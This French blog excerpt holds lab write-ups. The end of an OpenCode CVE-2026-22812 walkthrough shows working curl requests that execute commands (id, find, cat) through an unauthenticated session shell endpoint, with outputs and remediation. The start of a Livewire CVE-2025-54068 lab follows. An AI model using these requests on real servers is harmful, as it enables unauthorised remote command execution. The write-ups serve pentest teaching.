<p>L’avis GitHub décrit un serveur HTTP OpenCode démarré sans authentification. Il expose notamment un endpoint de session permettant l’exécution de commandes (<code class="language-plaintext highlighter-rouge">POST /session/:id/shell</code>), ainsi que d’autres fonctions liées aux terminaux et aux fichiers. Selon cet avis, le serveur peut écouter sur le port 4096 ou un port suivant ; la configuration <code class="language-plaintext highlighter-rouge">--mdns</code> peut étendre l’écoute à toutes les interfaces réseau. L’avis classe la vulnérabilité comme de <strong>haute sévérité</strong>, avec un score <strong>CVSS 3.1 de 8.8</strong>.</p>

<p>La version corrigée publiée dans l’avis est <strong>1.0.216</strong> ; les versions affectées sont <code class="language-plaintext highlighter-rouge">opencode-ai</code> antérieures à celle-ci. Dans ce lab, la preuve comportementale est l’exécution de <code class="language-plaintext highlighter-rouge">id</code> via l’API. Elle établit l’impact du service observé, mais ne remplace pas une vérification de version pour attribuer techniquement le résultat à une version précise de la CVE.</p>

<h2 id="3-méthode-et-lien-entre-les-étapes">3. Méthode et lien entre les étapes</h2>

<p>La séquence suivie est :</p>

<ol>
  <li>repérer les ports ouverts ;</li>
  <li>corriger le port après l’échec de la requête vers 443 ;</li>
  <li>reconnaître l’application OpenCode sur 4096 ;</li>
  <li>créer une session API ;</li>
  <li>exécuter une preuve minimale avec <code class="language-plaintext highlighter-rouge">id</code> ;</li>
  <li>localiser le fichier du lab par son nom ;</li>
  <li>lire le fichier trouvé.</li>
</ol>

<p>Chaque étape réduit une incertitude nécessaire à la suivante. L’identification du port permet de joindre la bonne application ; l’identification d’OpenCode permet de viser son API plutôt que d’essayer des services sans rapport ; <code class="language-plaintext highlighter-rouge">id</code> vérifie l’exécution avant la recherche du fichier ; enfin, le chemin réel est utilisé pour la lecture du flag.</p>

<blockquote>
  <p>ℹ️ Les commandes <code class="language-plaintext highlighter-rouge">opencode --version</code>, <code class="language-plaintext highlighter-rouge">ps</code> et <code class="language-plaintext highlighter-rouge">ss</code> de la capture ont été lancées sur <strong>Kali</strong>, et non sur l’hôte distant : elles ne déterminent donc ni la version d’OpenCode ni les processus de la cible.</p>
</blockquote>

<h2 id="4-étape-1--scan-initial">4. Étape 1 — Scan initial</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 176.16.163.253
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3
...
Service Info: OS: Linux
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> le scan initial identifie les services accessibles et leurs ports. Il a indiqué que SSH était ouvert, mais n’a pas trouvé l’application web sur le port 443. Le scan par défaut de Nmap porte sur un ensemble courant de ports, pas nécessairement sur tous les ports TCP ; il fallait donc poursuivre l’énumération lorsque WhatWeb a échoué sur 443.</p>

<p><strong>Interprétation :</strong> la présence de SSH fournit un indice sur le système, mais ne justifie pas de tenter une connexion SSH ni ne permet d’identifier la vulnérabilité web. Le scan n’a pas donné de version OpenCode.</p>

<h2 id="5-étape-2--échec-sur-le-port-443">5. Étape 2 — Échec sur le port 443</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb <span class="nt">-a</span> 3 http://176.16.163.253:443
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ERROR Opening: http://176.16.163.253:443
- Connection refused - connect(2) for "176.16.163.253" port 443
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> WhatWeb effectue une requête HTTP pour obtenir les en-têtes et indices applicatifs. Ici, la connexion TCP au port 443 a été refusée : contrairement au lab Northstar, il n’y avait pas de serveur HTTP accessible sur ce port.</p>

<p><strong>Relation avec l’étape suivante :</strong> il fallait chercher le service sur d’autres ports plutôt que répéter la même requête sur 443. L’énumération complète a découvert le port 4096.</p>

<h2 id="6-étape-3--énumération-complète-des-ports-tcp">6. Étape 3 — Énumération complète des ports TCP</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-Pn</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-T3</span> 176.16.163.253
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE
22/tcp   open  ssh
4096/tcp open  bre
</code></pre></div></div>

<p><strong>Explication des options :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-Pn</code> demande à Nmap de ne pas effectuer de découverte d’hôte préalable</li>
  <li><code class="language-plaintext highlighter-rouge">-p-</code> parcourt tous les ports TCP</li>
  <li><code class="language-plaintext highlighter-rouge">--open</code> n’affiche que les ports trouvés ouverts</li>
  <li><code class="language-plaintext highlighter-rouge">-T3</code> choisit une vitesse de scan modérée</li>
</ul>

<p><strong>Interprétation :</strong> le service générique <code class="language-plaintext highlighter-rouge">bre</code> est l’étiquette attribuée par la base de services de Nmap au port 4096 ; ce n’est pas encore une identification fiable de l’application. Il fallait donc interroger ce port avec des outils HTTP.</p>

<h2 id="7-étape-4--identifier-opencode-sur-le-port-4096">7. Étape 4 — Identifier OpenCode sur le port 4096</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb <span class="nt">-a</span> 3 http://176.16.163.253:4096
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://176.16.163.253:4096 [200 OK] Country[SAUDI ARABIA][SA], HTML5,
IP[176.16.163.253], Script[module], Title[OpenCode],
UncommonHeaders[content-security-policy]
</code></pre></div></div>

<p><strong>Interprétation :</strong> le statut <code class="language-plaintext highlighter-rouge">200 OK</code> et le titre <code class="language-plaintext highlighter-rouge">OpenCode</code> indiquent qu’une interface web répond sur ce port. La sortie ne donne toutefois pas la version du logiciel.</p>

<p>Vérification avec cURL :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">--max-time</span> 3 http://176.16.163.253:4096/
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; media-src 'self' data:; connect-src 'self' data:
Vary: Origin
Content-Length: 2365
</code></pre></div></div>

<p>Le HTML retourné comprenait :</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;title&gt;</span>OpenCode<span class="nt">&lt;/title&gt;</span>
<span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"module"</span> <span class="na">crossorigin</span> <span class="na">src=</span><span class="s">"/assets/index-D3Prp8AE.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">crossorigin</span> <span class="na">href=</span><span class="s">"/assets/index-BxQEOW35.css"</span><span class="nt">&gt;</span>
<span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"root"</span> <span class="na">class=</span><span class="s">"flex flex-col h-dvh p-px"</span><span class="nt">&gt;&lt;/div&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Le navigateur exécute l’interface à partir d’un bundle JavaScript ; le HTML seul ne montre pas les routes API ni la version serveur. Le titre a cependant confirmé l’identité du produit et justifié la consultation de l’avis CVE correspondant.</p>
</blockquote>

<blockquote>
  <p>💡 <strong>Note sur les commandes locales de Kali :</strong> <code class="language-plaintext highlighter-rouge">opencode --version</code> a répondu <code class="language-plaintext highlighter-rouge">Command 'opencode' not found</code>. Les sorties de <code class="language-plaintext highlighter-rouge">ss -lntp</code> décrivaient des ports locaux de Kali (notamment des ports VNC et des ports 55555–55557), pas les ports de <code class="language-plaintext highlighter-rouge">176.16.163.253</code>. Ces commandes ne permettent donc pas de connaître la version ou l’état des processus du serveur distant.</p>
</blockquote>

<h2 id="8-étape-5--créer-une-session-opencode">8. Étape 5 — Créer une session OpenCode</h2>

<p>L’avis GitHub décrit un endpoint de création de session, puis un endpoint shell associé à l’identifiant de cette session. Les commandes ont été exécutées depuis Kali contre l’hôte autorisé.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">API</span><span class="o">=</span><span class="s1">'http://176.16.163.253:4096'</span>

<span class="nv">SESSION_JSON</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$API</span><span class="s2">/session"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{}'</span><span class="si">)</span> <span class="o">||</span> <span class="nb">exit </span>1

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$SESSION_JSON</span><span class="s2">"</span>

<span class="nv">SESSION_ID</span><span class="o">=</span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%s'</span> <span class="s2">"</span><span class="nv">$SESSION_JSON</span><span class="s2">"</span> |
  python3 <span class="nt">-c</span> <span class="s1">'import json,sys; print(json.load(sys.stdin)["id"])'</span><span class="si">)</span> <span class="o">||</span> <span class="nb">exit </span>1
</code></pre></div></div>

<p>L’identifiant a été extrait du champ JSON <code class="language-plaintext highlighter-rouge">id</code> et conservé dans <code class="language-plaintext highlighter-rouge">SESSION_ID</code> pour les appels suivants. Il est omis de ce rapport car il s’agit d’un identifiant de session temporaire.</p>

<p><strong>Rôle de cette étape :</strong> l’API demande un identifiant de session pour adresser l’endpoint shell. Cette étape prépare cet identifiant ; elle n’exécute pas encore la commande de preuve.</p>

<h2 id="9-étape-6--preuve-minimale-avec-id">9. Étape 6 — Preuve minimale avec id</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$API</span><span class="s2">/session/</span><span class="nv">$SESSION_ID</span><span class="s2">/shell"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"agent":"build","command":"id"}'</span>
</code></pre></div></div>

<p>Sortie pertinente, résumée à partir de la réponse JSON :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
"tool":"bash"
"input":{"command":"id"}
"output":"uid=1001(codesource) gid=1001(codesource) groups=1001(codesource)\n"
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> <code class="language-plaintext highlighter-rouge">id</code> est une commande de vérification à faible impact : elle affiche l’identité du processus qui exécute les commandes et ne modifie pas le système. Le statut HTTP seul aurait indiqué que l’API répond, mais c’est le résultat <code class="language-plaintext highlighter-rouge">uid=1001(codesource)</code> dans la sortie de l’outil <code class="language-plaintext highlighter-rouge">bash</code> qui prouve que la commande a été exécutée côté serveur.</p>

<p><strong>Conclusion intermédiaire :</strong> l’exécution s’est faite sous le compte <code class="language-plaintext highlighter-rouge">codesource</code>, pas en tant que root. La réponse est cohérente avec une exécution arbitraire de commande via le serveur OpenCode décrit dans l’avis.</p>

<h2 id="10-étape-7--chercher-le-fichier-du-flag">10. Étape 7 — Chercher le fichier du flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">CMD</span><span class="o">=</span><span class="s1">'find / -maxdepth 5 -type f \( -iname "*flag*" -o -name local.txt -o -name user.txt \) -print 2&gt;/dev/null'</span>
<span class="nv">PAYLOAD</span><span class="o">=</span><span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'import json,sys; print(json.dumps({"agent":"build","command":sys.argv[1]}))'</span> <span class="s2">"</span><span class="nv">$CMD</span><span class="s2">"</span><span class="si">)</span>

curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$API</span><span class="s2">/session/</span><span class="nv">$SESSION_ID</span><span class="s2">/shell"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$PAYLOAD</span><span class="s2">"</span>
</code></pre></div></div>

<p>Sortie utile extraite de la réponse JSON :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/sys/module/scsi_mod/parameters/default_dev_flags
/usr/share/man/man5/proc_kpageflags.5.gz
/usr/share/bash-completion/completions/chflags
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/kpageflags
/home/local.txt
</code></pre></div></div>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">find /</code> parcourt l’arborescence à partir de la racine ; <code class="language-plaintext highlighter-rouge">-maxdepth 5</code> limite la profondeur pour garder la recherche circonscrite ; les critères retiennent les noms contenant <code class="language-plaintext highlighter-rouge">flag</code>, ainsi que les noms fréquents <code class="language-plaintext highlighter-rouge">local.txt</code> et <code class="language-plaintext highlighter-rouge">user.txt</code>. La redirection <code class="language-plaintext highlighter-rouge">2&gt;/dev/null</code> écarte les erreurs d’accès des répertoires non lisibles. Les chemins système contenant simplement le mot <code class="language-plaintext highlighter-rouge">flags</code> ne sont pas des flags de CTF. Le résultat utile est <code class="language-plaintext highlighter-rouge">/home/local.txt</code>.</p>

<h2 id="11-étape-8--corriger-le-chemin-dexemple-puis-lire-le-flag">11. Étape 8 — Corriger le chemin d’exemple puis lire le flag</h2>

<p>Une tentative a d’abord utilisé le texte d’exemple <code class="language-plaintext highlighter-rouge">/CHEMIN/RENVOYE</code> au lieu d’un chemin existant :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat: /CHEMIN/RENVOYE: No such file or directory
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Cette erreur ne signale pas un échec de l’API ; elle indique seulement que le chemin exemple n’existe pas.</p>
</blockquote>

<p>Après l’avoir remplacé par le chemin découvert :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">CMD</span><span class="o">=</span><span class="s1">'cat -- /home/local.txt'</span>
<span class="nv">PAYLOAD</span><span class="o">=</span><span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'import json,sys; print(json.dumps({"agent":"build","command":sys.argv[1]}))'</span> <span class="s2">"</span><span class="nv">$CMD</span><span class="s2">"</span><span class="si">)</span>

curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$API</span><span class="s2">/session/</span><span class="nv">$SESSION_ID</span><span class="s2">/shell"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$PAYLOAD</span><span class="s2">"</span>
</code></pre></div></div>

<p>Sortie utile extraite de la réponse JSON :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"input":{"command":"cat -- /home/local.txt"}
"output":"flag_fab05cce_77d9_4a58_8e02_141b3c8265d3\n"
</code></pre></div></div>

<blockquote>
  <p>💡 <code class="language-plaintext highlighter-rouge">cat --</code> affiche le fichier et traite le chemin suivant comme un argument, même s’il pouvait commencer par un tiret.</p>
</blockquote>

<h2 id="12-conclusion-et-remédiation">12. Conclusion et remédiation</h2>

<p>Le lab a exposé une interface OpenCode sur <code class="language-plaintext highlighter-rouge">176.16.163.253:4096</code>. L’API a accepté la création d’une session et la commande <code class="language-plaintext highlighter-rouge">id</code> a été exécutée sans authentification apparente par le compte <code class="language-plaintext highlighter-rouge">codesource</code>. La recherche a localisé <code class="language-plaintext highlighter-rouge">/home/local.txt</code>, dont la lecture a fourni le flag. Cela démontre une exécution de commande distante dans le scénario testé.</p>

<p>Pour attribuer strictement le cas à CVE-2026-22812, il faudrait relever la version côté serveur ou confirmer l’image/package déployé — la sortie WhatWeb ne fournit pas cette version. L’avis GitHub indique que les versions <code class="language-plaintext highlighter-rouge">opencode-ai</code> antérieures à <strong>1.0.216</strong> sont affectées et que 1.0.216 corrige le problème. La remédiation recommandée est donc de mettre à jour vers 1.0.216 ou une version ultérieure, puis de vérifier que le serveur n’est pas exposé sans authentification sur une interface réseau accessible. Restreindre l’écoute au localhost ou appliquer une protection d’accès en amont réduit l’exposition ; l’avis indique que le mode <code class="language-plaintext highlighter-rouge">--mdns</code> peut étendre l’écoute réseau.</p>

<blockquote>
  <p>ℹ️ La preuve démontrée ici a été limitée aux commandes <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">find</code> pour localiser le fichier de lab et <code class="language-plaintext highlighter-rouge">cat</code> sur ce fichier. Aucun shell interactif, persistance, changement de configuration ou lecture d’autres fichiers applicatifs n’a été nécessaire.</p>
</blockquote>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Un port fermé sur le service attendu (443) ne signifie pas que l’application cible est absente du serveur — une énumération complète des ports (<code class="language-plaintext highlighter-rouge">-p-</code>) reste indispensable quand le scan par défaut ne trouve rien de pertinent.</li>
  <li>L’étiquette de service générique attribuée par Nmap (<code class="language-plaintext highlighter-rouge">bre</code> pour le port 4096) n’est qu’une estimation basée sur un port connu ; seule une requête HTTP directe confirme la nature réelle du service.</li>
  <li>Documenter précisément ce qui a été exécuté côté client (Kali) versus côté serveur distant évite toute confusion sur la portée réelle des preuves recueillies — ici, les tentatives <code class="language-plaintext highlighter-rouge">opencode --version</code> et <code class="language-plaintext highlighter-rouge">ss -lntp</code> local n’apportaient aucune information sur la cible.</li>
  <li>Une commande de vérification à faible impact comme <code class="language-plaintext highlighter-rouge">id</code> reste le meilleur premier test d’une RCE : elle confirme l’exécution sans risquer d’altérer le système testé, avant de passer à des commandes plus ciblées (recherche de fichiers, lecture).</li>
</ul>

<h2 id="références">Références</h2>

<ul>
  <li>https://github.com/advisories/GHSA-vxw4-wv6m-9hhh “GitHub Security Advisory GHSA-vxw4-wv6m-9hhh pour CVE-2026-22812”</li>
  <li>https://www.cve.org/CVERecord?id=CVE-2026-22812 “CVE Record CVE-2026-22812(détails des endpoints vulnérables, score CVSS 3.1 de 8.8, version corrigée 1.0.216)”</li>
</ul>]]></content><author><name>Mohammed Berrahal</name></author><category term="Web" /><category term="Cybersécurité" /><category term="opencode" /><category term="cve-2026-22812" /><category term="rce" /><category term="command-execution" /><category term="api" /><category term="secdojo" /><category term="ctf" /><category term="pentest" /><summary type="html"><![CDATA[Lab OpenCode : validation de CVE-2026-22812 et récupération du flag]]></summary></entry><entry><title type="html">Lab Northstar : RCE non authentifiée via Livewire (CVE-2025-54068)</title><link href="https://medberrahal.github.io//pentest/exploitation/lab-Northstar/" rel="alternate" type="text/html" title="Lab Northstar : RCE non authentifiée via Livewire (CVE-2025-54068)" /><published>2026-10-21T00:00:00+00:00</published><updated>2026-10-21T00:00:00+00:00</updated><id>https://medberrahal.github.io//pentest/exploitation/lab-Northstar</id><content type="html" xml:base="https://medberrahal.github.io//pentest/exploitation/lab-Northstar/"><![CDATA[<h1 id="lab-northstar--exécution-de-commande-distante-via-livewire-cve-2025-54068">Lab Northstar : exécution de commande distante via Livewire (CVE-2025-54068)</h1>

<blockquote>
  <p><strong>Cible déclarée :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.229</code>
<strong>Port web :</strong> <code class="language-plaintext highlighter-rouge">443/tcp</code> (HTTP en clair, pas HTTPS)
<strong>Contexte :</strong> lab autorisé
<strong>Résultat :</strong> ✅ exécution de commande distante confirmée en tant que <code class="language-plaintext highlighter-rouge">www-data</code>, flag récupéré dans <code class="language-plaintext highlighter-rouge">/home/local.txt</code></p>
</blockquote>

<blockquote>
  <p>⚠️ <strong>Note de confidentialité :</strong> les jetons CSRF, valeurs de snapshot, checksums, cookies et identifiants visibles dans les captures ne sont pas reproduits ici.</p>
</blockquote>

<h2 id="1-résumé-du-résultat">1. Résumé du résultat</h2>

<p>L’analyse a commencé par un scan Nmap qui a révélé SSH sur le port 22 et un service web identifié comme HTTP sur le port 443. Une première tentative en HTTPS avec WhatWeb a échoué avec <code class="language-plaintext highlighter-rouge">wrong version number</code>, cohérent avec l’utilisation de HTTP en clair sur un port conventionnellement associé à TLS. Le passage à <code class="language-plaintext highlighter-rouge">http://176.16.163.229:443/</code> a permis d’obtenir le HTML de Northstar et de constater la présence de Livewire, d’un composant monté nommé <code class="language-plaintext highlighter-rouge">operations-portal</code> et de l’endpoint <code class="language-plaintext highlighter-rouge">/livewire/update</code>.</p>

<p>Le contrôle de version de Livepyre n’a pas tranché entre Livewire <strong>3.6.3</strong> et <strong>3.6.4</strong>. En revanche, l’exécution autorisée de sa preuve minimale a renvoyé l’identité <code class="language-plaintext highlighter-rouge">uid=33(www-data)</code>, confirmant l’exécution de commande à distance. La recherche du fichier <code class="language-plaintext highlighter-rouge">local.txt</code> a ensuite identifié <code class="language-plaintext highlighter-rouge">/home/local.txt</code>. Le fichier, de permissions <code class="language-plaintext highlighter-rouge">rw-r--r--</code>, a pu être lu par le processus web et contenait le flag :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_b1cd97f8_8153_4d2c_ba12_b7f23dfd6503
</code></pre></div></div>

<p>La vulnérabilité Livewire a été corrigée dans la version <strong>3.6.4</strong>. La fiche NVD indique les versions affectées comme Livewire v3 jusqu’à 3.6.3 inclusivement et cite la CVE dans le catalogue CISA des vulnérabilités exploitées. L’avis GitHub des mainteneurs décrit une RCE non authentifiée possible dans certains scénarios et recommande la mise à niveau vers 3.6.4 ou ultérieure.</p>

<blockquote>
  <p>💡 La preuve d’exécution obtenue sur ce lab confirme l’impact concret pour la configuration testée ; le simple fait de trouver Livewire sur une page n’aurait pas suffi à le prouver.</p>
</blockquote>

<h2 id="2-démarche-et-relation-entre-les-étapes">2. Démarche et relation entre les étapes</h2>

<p>La démarche suit cette chaîne : identifier le service et le protocole, obtenir la page et repérer Livewire, préparer l’outil de validation, vérifier la cible, démontrer l’exécution avec une commande sans modification, puis localiser et lire le fichier de flag. Chaque étape dépend de la précédente : sans le bon protocole, le HTML n’est pas accessible ; sans Livewire et un snapshot de composant, Livepyre ne peut pas sélectionner un point de mise à jour ; sans preuve de RCE, la recherche du flag n’est pas justifiée.</p>

<h2 id="3-étape-1--reconnaissance-réseau">3. Étape 1 — Reconnaissance réseau</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 176.16.163.229
</code></pre></div></div>

<p>Sortie utile observée :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
443/tcp open  http    Apache httpd 2.4.66
...
Service Info: Host: 172.17.0.2; OS: Linux
</code></pre></div></div>

<p><strong>Pourquoi cette étape :</strong> le scan sert à repérer les ports accessibles et à identifier les services susceptibles d’exposer l’application. Ici, le port 443 est ouvert, mais Nmap le classe comme <code class="language-plaintext highlighter-rouge">http</code>, et non <code class="language-plaintext highlighter-rouge">https</code>. Le numéro de port conventionnel ne garantit pas que le protocole TLS y soit utilisé.</p>

<p><strong>Interprétation :</strong> les éléments initiaux orientent vers un service web accessible sur le port 443. Ils ne prouvent ni l’utilisation de Livewire ni la présence de la CVE ; il faut examiner la réponse applicative.</p>

<h2 id="4-étape-2--corriger-le-protocole-utilisé">4. Étape 2 — Corriger le protocole utilisé</h2>

<h3 id="tentative-initiale">Tentative initiale</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb https://176.16.163.229
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ERROR Opening: https://176.16.163.229
SSL_connect returned=1 ... wrong version number
</code></pre></div></div>

<p><strong>Explication :</strong> le client a tenté une négociation TLS, mais la réponse du service n’était pas une réponse TLS valide. Cela concorde avec l’identification <code class="language-plaintext highlighter-rouge">http</code> faite par Nmap sur le port 443. Il fallait donc demander une page HTTP, tout en précisant explicitement le port :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb <span class="nt">-a</span> 3 http://176.16.163.229:443/
</code></pre></div></div>

<p>Sortie WhatWeb observée :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://176.16.163.229:443/ [200 OK] Apache[2.4.66], Cookies[XSRF-TOKEN, laravel_session], Country[SAUDI ARABIA][SA], HTML, HTTPServer[Debian Linux][Apache/2.4.66 (Debian)], HttpOnly[laravel_session], IP[176.16.163.229], Laravel, PHP[8.3.29], Script, Title[Northstar Fulfillment Cloud], X-Powered-By[PHP/8.3.29]
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Les valeurs des cookies ne figurent pas dans la sortie partagée ; seuls leurs noms sont reportés. <code class="language-plaintext highlighter-rouge">Country[SAUDI ARABIA][SA]</code> est une indication de géolocalisation produite par WhatWeb, pas une preuve sur l’emplacement physique de l’instance. Les éléments <code class="language-plaintext highlighter-rouge">Apache[2.4.66]</code>, <code class="language-plaintext highlighter-rouge">Debian Linux</code>, <code class="language-plaintext highlighter-rouge">Laravel</code> et <code class="language-plaintext highlighter-rouge">PHP[8.3.29]</code> constituent une empreinte technologique utile pour orienter l’analyse. Ils ne prouvent pas à eux seuls que la version de Livewire est vulnérable ; c’est l’inspection du HTML, puis le test du composant, qui apporte ces éléments.</p>
</blockquote>

<p>La récupération du HTML a ensuite été effectuée avec :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sL</span> http://176.16.163.229:443/ | <span class="nb">grep</span> <span class="nt">-Ei</span> <span class="s1">'livewire|csrf-token|update'</span>
</code></pre></div></div>

<p>Sortie utile, expurgée :</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"csrf-token"</span> <span class="na">content=</span><span class="s">"[MASQUÉ]"</span><span class="nt">&gt;</span>
<span class="c">&lt;!-- Livewire Styles --&gt;</span>
<span class="nt">&lt;div</span> <span class="na">wire:snapshot=</span><span class="s">"[SNAPSHOT MASQUÉ]"</span> <span class="err">...</span><span class="nt">&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"/livewire/livewire.js?id=df3a17f2"</span>
        <span class="na">data-csrf=</span><span class="s">"[MASQUÉ]"</span>
        <span class="na">data-update-uri=</span><span class="s">"/livewire/update"</span>
        <span class="na">data-navigate-once=</span><span class="s">"true"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>Le snapshot révélait notamment un composant <code class="language-plaintext highlighter-rouge">operations-portal</code> avec des propriétés telles que <code class="language-plaintext highlighter-rouge">workspaceKey</code>, <code class="language-plaintext highlighter-rouge">search</code>, <code class="language-plaintext highlighter-rouge">region</code>, <code class="language-plaintext highlighter-rouge">focus</code>, <code class="language-plaintext highlighter-rouge">timeRange</code>, <code class="language-plaintext highlighter-rouge">services</code>, <code class="language-plaintext highlighter-rouge">merchants</code>, <code class="language-plaintext highlighter-rouge">alerts</code> et <code class="language-plaintext highlighter-rouge">activity</code>. Les valeurs de snapshot, le jeton CSRF et le checksum ont été omis, car ils ne sont pas nécessaires au rapport.</p>

<p><strong>Pourquoi cette étape :</strong> Livewire met en place un cycle de mises à jour de composants. Le HTML a permis d’identifier son script, son endpoint de mise à jour et un composant monté. Ce sont des indices nécessaires à une vérification ciblée, mais ils ne suffisent pas à conclure qu’un composant satisfait les préconditions d’exploitation de CVE-2025-54068.</p>

<h2 id="5-étape-3--préparer-livepyre-dans-kali">5. Étape 3 — Préparer Livepyre dans Kali</h2>

<p>Le dépôt Livepyre documente les options <code class="language-plaintext highlighter-rouge">-u</code> pour l’URL, <code class="language-plaintext highlighter-rouge">-c</code> pour une vérification seulement, <code class="language-plaintext highlighter-rouge">-p</code> pour le paramètre transmis à la fonction et <code class="language-plaintext highlighter-rouge">--force</code> pour ignorer le contrôle de version. Le projet utilise PyCryptodome, Requests et leurs dépendances.</p>

<h3 id="51-premier-problème--dépendance-manquante">5.1 Premier problème : dépendance manquante</h3>

<p>Le lancement initial échouait avant tout accès à la cible :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ModuleNotFoundError: No module named 'Crypto'
</code></pre></div></div>

<p>Toutes les traces pointaient vers l’import <code class="language-plaintext highlighter-rouge">Crypto.Cipher.AES</code> dans le code de Livepyre.</p>

<h3 id="52-tentative-dinstallation-par-pip">5.2 Tentative d’installation par pip</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-m</span> pip <span class="nb">install</span> <span class="nt">--upgrade</span> pip
python <span class="nt">-m</span> pip <span class="nb">install</span> <span class="nt">-r</span> requirements.txt
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Failed to establish a new connection: [Errno 101] Network is unreachable
HTTPSConnection(host='pypi.org', port=443)
</code></pre></div></div>

<p><strong>Interprétation :</strong> la machine Kali ne pouvait pas joindre PyPI. La dépendance n’a donc pas été installée via pip. Cette erreur concernait l’environnement local et non le serveur Northstar.</p>

<h3 id="53-paquet-système-disponible-sous-lespace-de-noms-cryptodome">5.3 Paquet système disponible sous l’espace de noms Cryptodome</h3>

